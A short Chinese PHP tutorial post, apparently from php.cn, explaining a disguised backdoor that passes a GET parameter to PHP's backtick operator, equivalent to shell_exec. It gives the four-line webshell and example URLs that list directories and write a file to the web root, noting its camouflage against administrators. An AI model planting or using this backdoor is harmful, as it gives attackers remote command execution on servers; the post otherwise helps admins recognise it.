偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的phper都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数。
伪装性很好,很容易被管理员忽略。
$selfNums = $_GET['r'];
if (isset($selfNums)){
echo `$selfNums`;
}
刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,
而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键(位于感叹号!旁边的),
通过 echo `系统命令`; 可以达到 system(); 一样的效果
立即学习“PHP免费学习笔记(深入)”;
如果不信的朋友可以测试
http://127.0.0.1/t.php?r=dir 可以列出目录
http://127.0.0.1/t.php?r=echo 我是马儿 >>D:\web\90sec.php
我用 appserv 和虚拟主机已经测试成功。
PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号